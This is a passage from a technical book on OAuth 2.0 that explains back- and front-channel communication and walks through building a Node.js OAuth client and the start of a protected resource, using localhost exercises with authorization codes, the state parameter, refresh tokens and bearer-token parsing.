OAuth over non-HTTP channels

Although OAuth is defined only in terms of HTTP, several specifications have defined 
how to move different parts of the OAuth process to non-HTTP protocols. For 
instance, draft standards exist that define how to use OAuth tokens over Generic 
Security Services Application Program Interface (GSS-API)1 and Constrained Applica-
tion Protocol (CoAP).2 These can still use HTTP to bootstrap the process, and they 
tend to translate the HTTP-based OAuth components as directly as possible to these 
other protocols.

2.5.1	 Back-channel communication

Many parts of the OAuth process use a normal HTTP request and response format to 
communicate to each other. Since these requests generally occur outside the purview 
of the resource owner and user agent, they are collectively referred to as back-channel 
communication (figure 2.11). 

These requests and responses make use of all the regular HTTP mechanisms to 
communicate: headers, query parameters, methods, and entity bodies can all contain 
information vital to the transaction. Note that this might be a bit more of the HTTP 
stack than you’re used to, as many simple web APIs allow the client developer to pay 
attention to the response body.

The authorization server provides a token endpoint that the client uses to request 
access tokens and refresh tokens. The client calls this endpoint directly, presenting a 
form-encoded set of parameters that the authorization server parses and processes. 
The authorization server then responds with a JSON object representing the token.

Additionally, when the client connects to the protected resource, it’s also making a 
direct HTTP call in the back channel. The details of this call are entirely dependent 
on the protected resource, as OAuth can be used to protect an extraordinarily wide 
variety of APIs and architecture styles. In all of these, the client presents the OAuth 

1  RFC 7628 https://tools.ietf.org/html/rfc7628
2  https://tools.ietf.org/html/draft-ietf-ace-oauth-authz
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token and the protected resource must be able to understand the token and the rights 
that it represents.

2.5.2	 Front-channel communication

In normal HTTP communication, as we saw in the previous section, the HTTP cli-
ent sends a request that contains headers, query parameters, an entity body, and 
other pieces of information directly to a server. The server can then look at those 
pieces of information and figure out how to respond to the request, using an HTTP 
response containing headers, an entity body, and other pieces of information. How-
ever, in OAuth there are several instances in which two components cannot make 
direct requests of and responses to each other, such as when the client interacts with 
the authorization endpoint of the authorization server. Front-channel communication 
is a method of using HTTP requests to communicate indirectly between two systems 
through an intermediary web browser (figure 2.12). 

This technique isolates the sessions on either side of the browser, which allows it to 
work across different security domains. For instance, if the user needs to authenticate to 
one of the components, they can do so without exposing their credentials to the other sys-
tem. We can keep information separate and still communicate in the presence of the user.

How can two pieces of software communicate without ever talking to each other? 
Front-channel communication works by attaching parameters to a URL and indicat-
ing that the browser should follow that URL. The receiving party can then parse the 
incoming URL, as fetched by the browser, and consume the presented information. 
The receiving party can then respond by redirecting the browser back to a URL hosted 
by the originator, using the same method of adding parameters. The two parties are 
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Figure 2.11  Back-channel communication
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thus communicating with each other indirectly through the use of the web browser as 
an intermediary. This means that each front-channel request and response is actually 
a pair of HTTP request and response transactions (figure 2.13).

For example, in the authorization code grant that we saw previously, the client 
needs to send the user to the authorization endpoint, but it also needs to communi-
cate certain parts of its request to the authorization server. To do this, the client sends 
an HTTP redirect to the browser. The target of this redirect is the server’s URL with 
certain fields attached to it as query parameters:

HTTP 302 Found

Location: http://localhost:9001/authorize?client_id=oauth-client-1&response_
type=code&state=843hi43824h42tj

The authorization server can parse the incoming URL, just like any other HTTP 
request, and find the information sent from the client in these parameters. The autho-
rization server can interact with the resource owner at this stage, authenticating them 
and asking for authorization over a series of HTTP transactions with the browser. When 
it’s time to return the authorization code to the client, the authorization server sends 
an HTTP redirect to the browser as well, but this time with the client’s redirect_uri 
as the base. The authorization server also includes its own query parameters in the 
redirect:

HTTP 302 Found

Location: http://localhost:9000/oauth_callback?code=23ASKBWe4&state=843hi438
24h42tj

When the browser follows this redirect, it will be served by the client application, in 
this case through an HTTP request. The client can parse the URL parameters from the 

Figure 2.12  Front-channel communication

Licensed to Hans Otten <hans.otten@autodata.net>

http://localhost:9001/authorize?client_id=oauth-client-1&response_type=code&state=843hi43824h42tj
http://localhost:9001/authorize?client_id=oauth-client-1&response_type=code&state=843hi43824h42tj
http://localhost:9000/oauth_callback?code=23ASKBWe4&state=843hi43824h42tj
http://localhost:9000/oauth_callback?code=23ASKBWe4&state=843hi43824h42tj


38	 Chapter 2  The OAuth dance

incoming request. In this way, the client and authorization server can pass messages 
back and forth to each other through an intermediary without ever talking to each 
other directly.
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Figure 2.13  Parts of a front-channel request and response

What if my client isn’t a web application?

OAuth can be used by both web applications and native applications, but both need 
to use the same front-channel mechanism to receive information back from the 
authorization endpoint. The front channel always uses a web browser and HTTP redi-
rects, but they don’t always have to be served by a regular web server in the end. 
Fortunately, there are a few useful tricks, such as internal web servers, application-
specific URI schemes, and push notifications from a back-end service that can be 
used. As long as the browser can invoke a call on that URI, it will work. We’ll explore 
all of these options in detail in chapter 6.

All information passed through the front channel is accessible to the browser, both to 
be read and potentially manipulated before the ultimate request is made. The OAuth 
protocol accounts for this by limiting the kinds of information that are passed through 
the front channel, and by making sure that none of the pieces of information used 
in the front channel can be used on their own to accomplish the task of delegation. In 
the canonical case we saw in this chapter, the authorization code can’t be used by the 
browser directly, but instead it must be presented alongside the client’s credentials in 
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the back channel. Some protocols, such as OpenID Connect, offer increased security 
through mechanisms for these front-channel messages to be signed by the client or 
authorization server to add a further layer of protection, and we’ll look at that briefly 
in chapter 13.

2.6	 Summary
OAuth is a protocol with many moving pieces, but it’s built of simple actions that add 
up to a secure method for authorization delegation.

■■ OAuth is about getting tokens and using tokens.
■■ Different components in the OAuth system care about different parts of the 

process.
■■ Components use direct (back channel) and indirect (front channel) HTTP to 

communicate with each other.

Now that you’ve learned what OAuth is and how it works, let’s start building things! In 
the next chapter, we’ll build an OAuth client from scratch.

Licensed to Hans Otten <hans.otten@autodata.net>



Licensed to Hans Otten <hans.otten@autodata.net>



Part 2

Building an OAuth 2  
environment

In this section, you’ll get to build an entire OAuth 2.0 ecosystem from scratch, 
including the client, protected resource, and authorization server. We’ll step 
through each of these components and see how all of the bits interact with each 
other during the process of implementing the authorization code grant type 
introduced in the previous section. With that thoroughly under our belts, we’ll 
tackle several optimizations and variations on the OAuth 2.0 protocol including 
different client types and different grant types.
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3Building a simple OAuth client

This chapter covers
■  ■ Registering an OAuth client with an authorization server and  

configuring the client to talk to the authorization server 

■  ■ Requesting authorization from a resource owner using the  
authorization code grant type

■  ■ Trading the authorization code for a token

■  ■ Using the access token as a bearer token with a protected resource

■  ■ Refreshing an access token

As we saw in the last chapter, the OAuth protocol is all about getting tokens to the 
client and letting the client use the access tokens to access protected resources on 
behalf of the resource owner. In this chapter, we’ll build a simple OAuth client, use 
the authorization code grant type to get a bearer access token from an authoriza-
tion server, and use that token with a protected resource.

NOTE  All of the exercises and examples in this book are built using Node.js 
and JavaScript. Each exercise consists of several components designed to run on 
a single system accessible from localhost on various ports. For more information 
about the framework and its structure, see appendix A.
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3.1	 Register an OAuth client with an authorization server
First things first: the OAuth client and the authorization server need to know a few 
things about each other before they can talk. The OAuth protocol itself doesn’t care 
how this happens, only that it does happen in some fashion. An OAuth client is identi-
fied by a special string known as the client identifier, referred to in our exercises and 
in several parts of the OAuth protocol with the name client_id. The client identi-
fier needs to be unique for each client at a given authorization server, and is there-
fore almost always assigned by the authorization server to the client. This assignment 
could happen through a developer portal, dynamic client registration (as discussed 
in chapter 12), or through some other process. For our example, we’re using manual 
configuration. 

Open up the ch-3-ex-1 folder and run npm install from inside it. For this exer-
cise, we’ll be editing client.js and leaving both authorizationServer.js and 
protectedResource.js untouched.

Why a web client?

You may have noticed that our OAuth client is itself a web application running on a 
web server hosted by the Node.js application. The fact that our client is also a server 
can be confusing, but in the end it’s fairly simple: an OAuth Client is always the piece 
of software that gets a token from the authorization server and uses that token with 
a protected resource, as we talked about in chapter 2.

We’re building a web-based client here because it’s not only OAuth’s original use 
case but also one of the most common. Mobile, desktop, and in-browser applica-
tions can also use OAuth, but each of those requires slightly different consider-
ations and processing to make them work. We’ll cover each of those in chapter 
6, paying special attention to what differentiates these cases from our web-based 
client here.

Our authorization server has assigned this client a client_id of oauth-client-1, 
(see figure 3.1) and now we need to transfer that information to the client software 
(to see this, look inside the top of the authorizationServer.js file and find the client 
variable at the top, or navigate to http://localhost:9001/). 

Our client stores its registration information in a top-level object variable named 
client, and it stores its client_id in a field of that object named, unsurprisingly, 
client_id. We just need to edit the object to fill in the assigned client_id value:

"client_id": "oauth-client-1"

Our client is also what’s known as a confidential client in the OAuth world, which 
means that it has a shared secret that it stores in order to authenticate itself 
when talking with the authorization server, known as the client_secret. The 
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client_secret can be passed to the authorization server’s token endpoint in sev-
eral different ways, but in our example we will be using HTTP Basic. The client_
secret is also nearly always assigned by the authorization server, and in this case 
our authorization server has assigned our client the client_secret of oauth-
client-secret-1. This is a terrible secret, not only because it fails to meet mini-
mum entropy requirements but also because now that we’ve published it in a book 
it’s no longer secret. Regardless, it will work for our example, and we’ll add it to 
our client’s configuration object:

"client_secret": "oauth-client-secret-1"

Many OAuth client libraries also include a few other configuration options in this 
kind of object, such as a redirect_uri, a set of scopes to request, and other things 
that we’ll cover in detail in later chapters. Unlike the client_id and client_secret, 
these are determined by the client software and not assigned by the authorization 
server. As such, they’ve already been included in the client’s configuration object. Our 
object should look like this:

var client = {

	 "client_id": "oauth-client-1",

	 "client_secret": "oauth-client-secret-1",

	 "redirect_uris": ["http://localhost:9000/callback"]

};

On the other side of things, our client needs to know which server it’s talking to, and 
how to talk to it. In this exercise, our client needs to know the locations of both the 
authorization endpoint and the token endpoint, but it doesn’t really need to know any-
thing about the server beyond that. Our server’s configuration information has been 

Figure 3.1  The authorization server’s homepage, showing client and server information
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stored on the top-level variable named authServer, and we’ve included the relevant 
configuration information already:

var authServer = {

	 authorizationEndpoint: 'http://localhost:9001/authorize',

	 tokenEndpoint: 'http://localhost:9001/token'

};

Our client now has all of the information that it needs to connect to the authorization 
server. Now, let’s make it do something.

3.2	 Get a token using the authorization code grant type
For an OAuth client to get a token from an authorization server, it needs to be del-
egated authority by a resource owner in one form or another. In this chapter, we’ll 
be using an interactive form of delegation called the authorization code grant type, 
wherein the client sends the resource owner (which in our case is the end user at the 
client) over to the authorization server’s authorization endpoint. The server then 
sends an authorization code back to the client through its redirect_uri. The client 
finally sends the code that it received to the authorization server’s token endpoint 
to receive an OAuth access token, which it needs to parse and store. To take a look 
at all of the steps of this grant type in detail, including the HTTP messages used 
for each step, look back at chapter 2. In this chapter, we’ll be concentrating on the 
implementation. 

Why the authorization code grant type?

You may have noticed that we’re focusing on one specific OAuth grant type: the 
authorization code. You may have already used other OAuth grant types (such as 
the implicit grant type or client credentials grant type) outside of this book, so why 
not start there? As we’ll talk about in chapter 6, the authorization code grant type 
fully separates all of the different OAuth parties and is consequently the most foun-
dational and complex of the core grant types that we’ll cover in this book. All of the 
other OAuth grant types are optimizations of this one, suited for specific use cases 
and environments. We’ll cover all of those in chapter 6 in detail, where you’ll get a 
chance to adapt the exercise code to these other grant types.

We’re going to stay in the ch-3-ex-1 exercise that you’ve been building in the last 
section and expand its capabilities into a functional OAuth client. The client has been 
preconfigured with a landing page that starts off the authorization process. This land-
ing page is hosted at the root of the project. Remember to run all three components 
simultaneously, each in its own terminal window as discussed in appendix A.

You can leave the authorization server and protected resource running throughout 
this exercise, but the client application will need to be restarted every time you make 
an edit in order to propagate your changes.
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3.2.1	 Sending the authorization request

The homepage of the client application contains one button that sends the user to 
http://localhost:9000/authorize, and one button that fetches the protected 
resource (figure 3.2). We’ll focus on the Get OAuth Token button for the moment. 
This page is served by the (currently empty) function:

app.get('/authorize', function(req, res){

	

});

To initiate the authorization process, we need to redirect the user to the server’s autho-
rization endpoint and include all of the appropriate query parameters on that URL. 
We’ll build the URL to send the user to by using a utility function and the JavaScript 
url library, which takes care of formatting the query parameters and URL encoding 
values for you. We’ve provided the utility function for you already, but in any OAuth 
implementation you’re going to need to properly build URLs and add query param-
eters in order to use front-channel communication.

var buildUrl = function(base, options, hash) {

	 var newUrl = url.parse(base, true);

	 delete newUrl.search;

	 if (!newUrl.query) {

		  newUrl.query = {};

	 }

	 __.each(options, function(value, key, list) {

		  newUrl.query[key] = value;

	 });

	 if (hash) {

		  newUrl.hash = hash;

	 }

	

	 return url.format(newUrl);

};

You can call this utility function by passing in a URL base and an object containing 
all the parameters you want added to the URL’s query parameters. It’s important to 

Figure 3.2  The client’s initial state before getting a token

Licensed to Hans Otten <hans.otten@autodata.net>



48	 Chapter 3  Building a simple OAuth client

use a real URL library here, as throughout the OAuth process we might need to add 
parameters to URLs that already have them, or are formatted in strange but valid 
ways.

var authorizeUrl = buildUrl(authServer.authorizationEndpoint, {

	 response_type: 'code',

	 client_id: client.client_id,

	 redirect_uri: client.redirect_uris[0]

});

Now we can send an HTTP redirect to the user’s browser, which will send them to the 
authorization endpoint:

res.redirect(authorizeUrl);

The redirect function is part of the express.js framework and sends an HTTP 
302 Redirect message to the browser in response to the request on http:// 
localhost:9000/authorize. Every time this page is called in our example cli-
ent application, it will request a new OAuth token. A real OAuth client applica-
tion should never use an externally accessible trigger mechanism such as this, 
but should instead rely on tracking internal application state to determine when 
a new access token is needed. For our simple exercise, we’re OK with using an 
external trigger. When it’s all put together, our final function looks like listing 1 
in appendix B.

Now when you click the Get OAuth Token button on the client’s main page, 
you should be automatically redirected to the authorization server’s authori-
zation endpoint, which should prompt you to authorize the client application 
(figure 3.3).

For this exercise, the authorization server is functionally complete, but we’ll be dig-
ging into what’s required to make it work in chapter 5. Click the Approve button, and 
the server will redirect you back to the client. Nothing particularly interesting will hap-
pen yet, so let’s change that in the next section.

Figure 3.3  The authorization server’s approval page for our client’s request
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3.2.2	 Processing the authorization response

At this point, you’re back at the client application, and on the URL http:// 
localhost:9000/callback, with a few extra query parameters. This URL is served by 
the (currently empty) function:

app.get('/callback', function(req, res){

});

For this part of the OAuth process, we need to look at the input parameters and read 
back the authorization code from the authorization server, in the code parameter. 
Remember, this request is coming in as a redirect from the authorization server, not as 
an HTTP response to our direct request.

var code = req.query.code;

Now we need to take this authorization code and send it directly to the token endpoint 
using an HTTP POST. We’ll include the code as a form parameter in the request body.

var form_data = qs.stringify({

	 grant_type: 'authorization_code',

	 code: code,

	 redirect_uri: client.redirect_uris[0]

});

As an aside, why do we include the redirect_uri in this call? We’re not redirect-
ing anything, after all. According to the OAuth specification, if the redirect URI is 
specified in the authorization request, that same URI must also be included in the 
token request. This practice prevents an attacker from using a compromised redirect 
URI with an otherwise well-meaning client by injecting an authorization code from 
one session into another. We’ll look at the server-side implementation of this check in 
chapter 9.

We also need to send a few headers to tell the server that this is an HTTP form-
encoded request, as well as authenticate our client using HTTP Basic. The Authori-
zation header in HTTP Basic is a base64 encoded string made by concatenating the 
username and password together, separated by a single colon (:) character. OAuth 2.0 
tells us to use the client ID as the username and the client secret as the password, but 
with each of these being URL encoded first.1 We’ve given you a simple utility function 
to handle the details of the HTTP Basic encoding.

var headers = {

	 'Content-Type': 'application/x-www-form-urlencoded',

	 'Authorization': 'Basic ' + encodeClientCredentials(client.client_id, 

client.client_secret)

};

1 � Many clients forgo URL encoding their client ID and secret, and some servers forgo doing the 
decoding on the far end. Since common client IDs and secrets consist of simple random sets of ASCII 
characters, this doesn’t tend to cause problems, but for full compliance and support of extended 
character sets be sure to URL encode and decode appropriately.
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We’ll then need to wire that in with a POST request to the server’s authorization 
endpoint:

var tokRes = request('POST', authServer.tokenEndpoint, 

	 {	

		  body: form_data,

		  headers: headers

	 }

);

res.render(‘index’, {access_token: body.access_token});

If the request is successful, the authorization server will return a JSON object which 
includes the access token value, among a few other things. This response looks some-
thing like the following:

{

	 "access_token": "987tghjkiu6trfghjuytrghj",

	 "token_type": "Bearer"

}

Our application needs to read this result and parse the JSON object to retrieve the 
access token value, so we parse the response into the body variable:

var body = JSON.parse(tokRes.getBody());

Our client now needs to save this token so that we can use it later:

access_token = body.access_token;

Our final function for this part of the OAuth client looks like listing 2 in appendix B.
When the access token is successfully fetched and stored, we can send the user back 

to a page that displays the token value in the browser (figure 3.4). In a real OAuth 
application, it’s a terrible idea to display the access token like this since it’s a secret value 
that the client is supposed to be protecting. In our demo application, this helps us 
visualize what’s happening, so we’ll let this terrible security practice slide and caution 
you to be smarter in your production applications.

Figure 3.4  The client’s homepage after retrieving an access token; the access token value will vary 
each time the program is run
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3.2.3	 Adding cross-site protection with the state parameter

In the current setup, any time someone comes to http://localhost:9000/ 
callback, the client will naively take in the input code value and attempt to post it to 
the authorization server. This would mean that an attacker could use our client to fish 
for valid authorization codes at the authorization server, wasting both client and server 
resources and potentially causing our client to fetch a token it never requested.

We can mitigate this by using an optional OAuth parameter called state, which 
we’ll fill with a random value and save to a variable on our application. Right after we 
throw out our old access token, we’ll create this value:

state = randomstring.generate();

It’s important that this value be saved to a place in our application that will still be avail-
able when the call to the redirect_uri comes back. Remember, since we’re using the 
front channel to communicate in this stage, once we send the redirect to the authori-
zation endpoint, our client application cedes control of the OAuth protocol until this 
return call happens. We’ll also need to add the state to the list of parameters sent on 
the authorization URL.

var authorizeUrl = buildUrl(authServer.authorizationEndpoint, {

	 response_type: 'code',

	 client_id: client.client_id,

	 redirect_uri: client.redirect_uris[0],

	 state: state
});

When the authorization server receives an authorization request with the state param-
eter, it must always return that state parameter unchanged to the client alongside the 
authorization code. This means that we can check the state value that’s passed in to 
the redirect_uri page and compare it to our saved value from earlier. If it doesn’t 
match, we’ll display an error to the end user. 

if (req.query.state != state) {

	 res.render('error', {error: 'State value did not match'});

	 return;

}

If the state value doesn’t match what we’re expecting, that’s a very good indication 
that something untoward is happening, such as a session fixation attack, fishing for a 
valid authorization code, or other shenanigans. At this point, the client stops all pro-
cessing of the request and sends the user to an error page.

3.3	 Use the token with a protected resource
Now that we’ve got an access token, so what? What can we do with it? Fortunately, we’ve 
got a handy protected resource running that’s waiting for a valid access token and will 
give us some valuable information when it receives one.

All the client has to do is make a call to the protected resource and include the 
access token in one of the three valid locations. For our client, we’ll send it in the 
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Authorization HTTP header, which is the method recommended by the specification 
wherever possible.

Ways to send a bearer token

The kind of OAuth access token that we have is known as a bearer token, which 
means that whoever holds the token can present it to the protected resource. The 
OAuth Bearer Token Usage specification actually gives three ways to send the token 
value:

■■ As an HTTP Authorization header
■■ As a form-encoded request body parameter
■■ As a URL-encoded query parameter

The Authorization header is recommended whenever possible because of limitations 
in the other two forms. When using the query parameter, the value of the access 
token can possibly inadvertently leak into server-side logs, because it’s part of the 
URL request. Using the form-encoded parameter limits the input type of the pro-
tected resource to using form-encoded parameters and the POST method. If the 
API is already set up to do that, this can be fine as it doesn’t experience the same 
security limitations that the query parameter does. 

The Authorization header provides the maximum flexibility and security of all three 
methods, but it has the downside of being more difficult for some clients to use. A 
robust client or server library will provide all three methods where appropriate, and 
in fact our demonstration protected resource will accept an access token in any of 
the three locations.

Loading up the index page of our client application from http://localhost:9000/ 
again, we can see that there’s a second button: Get Protected Resource. This button 
sends us to the data display page.

app.get('/fetch_resource', function(req, res){

});

First we need to make sure that we even have an access token. If we don’t have one, 
then we’ll display an error to the user and quit.

if (!access_token) {

	 res.render('error', {error: 'Missing access token.'});

	 return;

}

If we run this code without getting an access token, we’ll get the expected error page, 
shown in figure 3.5.

In the body of this function we need to call the protected resource and hand its 
response data off to a page to be rendered. First we need to know where we’re going 
to send the request, and we’ve configured that in the protectedResource variable 
at the top of the client’s code. We’ll be making a POST request to that URL and 
expecting a JSON response back. In other words, this is a very standard API access 
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request. Nonetheless, it doesn’t work yet. Our protected resource is expecting this to 
be an authorized call, and our client, although capable of getting an OAuth token, 
isn’t yet doing anything with it. We need to send the token using the OAuth-defined 
Authorization: Bearer header, with the token as the value of the header.

var headers = {

	 'Authorization': 'Bearer ' + access_token

};

var resource = request('POST', protectedResource,

	 {headers: headers}

);

This sends a request to the protected resource. If it’s successful, we’ll parse the returned 
JSON and hand it to our data template. Otherwise, we’ll send the user to an error page.

if (resource.statusCode >= 200 && resource.statusCode < 300) {

	 var body = JSON.parse(resource.getBody());

	

	 res.render('data', {resource: body});

	 return;

} else {

Figure 3.5  An error page on the client, displayed when the access token is missing

Figure 3.6  A page displaying data from the protected resource’s API.
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	 res.render('error', {error: 'Server returned response code: ' + resource.

statusCode});

	 return;

}

Altogether, our request function looks like listing 3 in appendix B. Now when we 
obtain an access token and fetch the resource, we get a display of the data from the 
API (see figure 3.6).

As an additional exercise, try asking the user to authorize the client automatically 
when the request is made and fails. You could also do this automatic prompting when 
the client detects that it has no access token to begin with. 

3.4	 Refresh the access token
Now we’ve used our access token to fetch a protected resource, but what happens if 
somewhere down the line our access token expires? Will we need to bother the user 
again to reauthorize the client application for us?

OAuth 2.0 provides a method of getting a new access token without involving the 
user interactively: the refresh token. This functionality is important because OAuth is 
often used for cases in which the user is no longer present after the initial authoriza-
tion delegation has occurred. We covered the nature of refresh tokens in detail in 
chapter 2, so now we’ll be building in support for them to our client.

We’ll be starting with a new codebase for this exercise, so open up ch-3-ex-2 and 
run npm install to get things started. This client has already been set up with an 
access token and refresh token, but its access token is no longer valid, as if it had 
expired since it was issued. The client doesn’t know that its access token is currently 
invalid, so it’s going to try and use it anyway. This call to the protected resource is going 
to fail, and we’ll be programming the client to use its refresh token to get a new access 
token and try the call to the protected resource again with the new access token. Run 
all three applications and open up client.js in a text editor. If you want, you can 
try out the client before we change anything and see that it fails with an invalid token 
response, indicated by the HTTP error code 401 (see figure 3.7).

Figure 3.7  An error page showing the HTTP error code from the protected resource because of an 
invalid access token
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If you did the extra part of the last exercise, you know that you can prompt the user to 
authorize the client again and get a new token. This time, though, we’ve got a refresh 
token, so if this works we won’t have to bug the user at all. The refresh token was origi-
nally returned to this client in the same JSON object that the access token came in, like 
this:

{

	 "access_token": "987tghjkiu6trfghjuytrghj",

	 "token_type": "Bearer",

	 "refresh_token": "j2r3oj32r23rmasd98uhjrk2o3i"

}

Our client has saved this in the refresh_token variable, which we’ve simulated at the 
top of the code by setting it to this known value. 

var access_token = '987tghjkiu6trfghjuytrghj';

var scope = null;

var refresh_token = 'j2r3oj32r23rmasd98uhjrk2o3i';

Our authorization server automatically inserts the previous refresh token upon startup, 
after clearing its database. We don’t insert an access token corresponding to the pre-
vious one because we want to set up an environment in which the access token has 
already expired but the refresh token still works.

nosql.clear();

nosql.insert({ refresh_token: 'j2r3oj32r23rmasd98uhjrk2o3i', client_id: 

'oauth-client-1', scope: 'foo bar' });

Now we need to handle refreshing the token. First, we trap the error condition and 
invalidate our current access token. We’ll do this by adding handling to the else clause 
of the code that processes the response from the protected resource.

if (resource.statusCode >= 200 && resource.statusCode < 300) {

	 var body = JSON.parse(resource.getBody());

Is my token any good?

How does an OAuth client know whether its access token is any good? The only real 
way to be sure is to use it and see what happens. If the token is expected to expire, 
the authorization server can give a hint as to the expected expiration by using the 
optional expires_in field of the token response. This is a value in seconds from 
the time of token issuance that the token is expected to no longer work. A well-
behaved client will pay attention to this value and throw out any tokens that are past 
the expiration time.

However, knowledge of the expiration alone isn’t sufficient for a client to know the 
status of the token. In many OAuth implementations, the resource owner can revoke 
the token before its expiration time. A well-designed OAuth client must always expect 
that its access token could suddenly stop working at any time, and be able to react 
accordingly.
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	 res.render('data', {resource: body});

	 return;

} else {
	 access_token = null;
	 if (refresh_token) {
		  refreshAccessToken(req, res);
		  return;
	 } else {
		  res.render('error', {error: resource.statusCode});
		  return;
	 }
}

Inside the refreshAccessToken function, we create a request to the token end-
point, much like we did before. As you can see, refreshing an access token is 
a special case of an authorization grant, and we use the value refresh_token 
for our grant_type parameter. We also include our refresh token as one of the 
parameters.

var form_data = qs.stringify({

	 grant_type: 'refresh_token',
	 refresh_token: refresh_token
});

var headers = {

	 'Content-Type': 'application/x-www-form-urlencoded',

	 'Authorization': 'Basic ' + encodeClientCredentials(client.client_id, 

client.client_secret)

};

var tokRes = request('POST', authServer.tokenEndpoint, {	

		  body: form_data,

		  headers: headers

});

If the refresh token is valid, the authorization server returns a JSON object, as if this 
were a normal first-time call to the token endpoint:

{

	 "access_token": "IqTnLQKcSY62klAuNTVevPdyEnbY82PB",

	 "token_type": "Bearer",

	 "refresh_token": "j2r3oj32r23rmasd98uhjrk2o3i"
}

We can now save the access token value, as we did previously. This response can also 
include a refresh token, which could be different from the first one. If that happens, 
the client needs to throw away the old refresh token that it’s been saving and immedi-
ately start using the new one. 

access_token = body.access_token;

if (body.refresh_token) {
	 refresh_token = body.refresh_token;
}

Finally, we can tell our client to try to fetch the resource again. Since our client’s 
actions are triggered by URLs, we can redirect back to the fetch URL and start the 
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process again. A production implementation will likely have a more sophisticated 
action trigger.

res.redirect('/fetch_resource');

To see it working, load up your components and click on Get Protected Resource 
from the client. Instead of an error, caused by the invalid access token the client boots 
with, you should see the protected resource data screen. Check out the console for the 
authorization server: it will indicate that it’s issuing a refresh token and will display the 
values of the tokens used for each request. 

We found a matching refresh token: j2r3oj32r23rmasd98uhjrk2o3i

Issuing access token IqTnLQKcSY62klAuNTVevPdyEnbY82PB for refresh token 

j2r3oj32r23rmasd98uhjrk2o3i

You can also see that the access token’s value has changed on the client’s homepage 
by clicking on the title bar of the client application. Compare the access token and 
refresh token values with those used at the start of the application (figure 3.8).

What happens if the refresh token doesn’t work? We throw away both the refresh 
and access tokens and render an error.

} else {

	 refresh_token = null;

	 res.render('error', {error: 'Unable to refresh token.'});

	 return;

}

However, we don’t need to stop there. Since this is an OAuth client, we’re back to the 
state that we would have been in if we didn’t have an access token at all, and we can 
ask the user to authorize the client again. As an additional exercise, detect this error 
condition and request a new access token from the authorization server. Be sure to 
save the new refresh token as well. 

The full fetch and refresh functions look like listing 4 in appendix B.

Figure 3.8  The client’s homepage after refreshing the access token
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3.5	 Summary
The OAuth client is the most widely used part of the OAuth ecosystem. 

■■ Getting a token using the authorization code grant type requires only a few 
straightforward steps.

■■ If it’s available to a client, the refresh token can be used to get a new access token 
without involving the end user.

■■ Using an OAuth 2.0 bearer token is even simpler than getting one, requiring a 
simple HTTP header to be added to any HTTP call.

Now that you’ve seen how the client works, let’s build a resource for our client to 
access.
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4Building a simple OAuth  
protected resource

This chapter covers
■  ■ Parsing an incoming HTTP request for OAuth tokens

■  ■ Responding to token errors

■  ■ Serving requests differently based on scopes

■  ■ Serving requests differently based on the resource owner

Now that we’ve got a working OAuth client, it’s time to create a protected resource 
for the client to call with those access tokens. In this chapter, we’ll be building a 
simple resource server that our client can call and our authorization server can pro-
tect. We’ll be giving you a fully functional client and authorization server for each 
exercise, all designed to work together.

NOTE:  All of the exercises and examples in this book are built using Node.js 
and JavaScript. Each exercise consists of several components designed to run on 
a single system accessible from localhost on various ports. For more information 
about the framework and its structure, see appendix A.

For most web-based APIs, adding an OAuth security layer is a lightweight process. 
All that the resource server needs to do is parse the OAuth token out of the incom-
ing HTTP request, validate that token, and determine what kinds of requests the 
token is good for. Because you’re reading this chapter, chances are that you’ve got 
something already built or designed that you want to protect with OAuth. For the 
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exercises in this chapter, we’re not expecting you to develop an API on your own just 
to practice protecting it; instead, we’ve supplied a handful of resource endpoints and 
data objects for you to use, and the client application included with each exercise is 
set up to be able to call these. In this exercise, our resource server will be a simple data 
store that serves JSON objects to HTTP GET and POST requests on several different 
URLs, depending on the exercise.

Although the protected resource and authorization server are conceptually sepa-
rate components in the OAuth structure, many OAuth implementations co-locate the 
resource server with the authorization server. This approach works well when there’s a 
tight coupling between the two systems. For the exercises in this chapter, we’ll be run-
ning the protected resource in a separate process on the same machine, but giving it 
access to the same database used by the authorization server. We’ll look at ways to pull 
this connection apart a little bit more in chapter 11.

4.1	 Parsing the OAuth token from the HTTP request
Open up the exercise ch-4-ex-1 and edit the file protectedResource.js. You can 
leave the client.js and authorizationServer.js files untouched for this exercise.

Our protected resource expects OAuth bearer tokens, which makes sense because 
our authorization server generates bearer tokens. The OAuth Bearer Token Usage 
specification1 defines three different methods for passing bearer tokens to the pro-
tected resource: the HTTP Authorization header, inside a form-encoded POST body, 
and as a query parameter. We’re going to set up our protected resource to take any of 
these three, with a preference for the authorization header. 

Since we’ll be doing this on multiple resource URLs, we’re going to be scanning 
for the token in a helper function. The Express.js web application framework that our 
exercises are built on gives us a fairly simple means for doing this, and although the 
details of the implementation here are particular to Express.js, the general concepts 
should be applicable to other web frameworks. Unlike most of our HTTP handling 
functions so far, our helper function is going to take in three parameters. The third 
parameter, next, is a function that can be called to continue processing the request. 
This lets us chain together multiple functions to serve a single request, allowing us to 
add this token scanning functionality into other handlers throughout our application. 
Right now, the function is empty, and we’ll be replacing that code in a moment.

var getAccessToken = function(req, res, next) {

});

The OAuth Bearer token specification tells us that when the token is passed as an 
HTTP Authorization header, the value of the header consists of the keyword Bearer, 
followed by a single space, and followed by the token value itself. Furthermore, the 
OAuth specification tells us that the Bearer keyword is not case sensitive. Additionally, 

1  RFC 6750 https://tools.ietf.org/html/rfc6750
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the HTTP specification tells us that the Authorization header keyword is itself not 
case sensitive. This means that all of the following headers are equivalent:

Authorization: Bearer 987tghjkiu6trfghjuytrghj
Authorization: bearer 987tghjkiu6trfghjuytrghj
authorization: BEARER 987tghjkiu6trfghjuytrghj

First, we try to get the Authorization header if it’s been included in the request, then 
see whether it contains an OAuth Bearer token. Since Express.js automatically lower-
cases all incoming HTTP headers, we’ll check against the string literal authorization 
on our incoming request object. We’ll also check the bearer keyword by similarly 
converting the value of the header to lowercase.

var inToken = null;

var auth = req.headers['authorization'];

if (auth && auth.toLowerCase().indexOf('bearer') == 0) {

If both of these pass, we now need to retrieve the token value from the header by 
stripping off the Bearer keyword and the space that follows it. Everything else in the 
header is the value of the OAuth token, with no further processing needed. Thank-
fully, this string operation is trivial in JavaScript and most other languages. Notice that 
the token value itself is case sensitive, so we slice the original string and not a transformed 
version.

inToken = auth.slice('bearer '.length);

Next, we’ll handle tokens passed as form-encoded parameters in the body. This method 
isn’t recommended by the OAuth specification because it artificially limits the input 
of the API to a form-encoded set of values. If the API natively speaks JSON as inputs, 
this prevents a client application from being able to send the token along with the 
input. In such cases, the Authorization header is preferred. But for APIs that do take 
in form-encoded inputs, this method provides a simple and consistent way for clients 
to send the access token without having to deal with the Authorization header. Our 
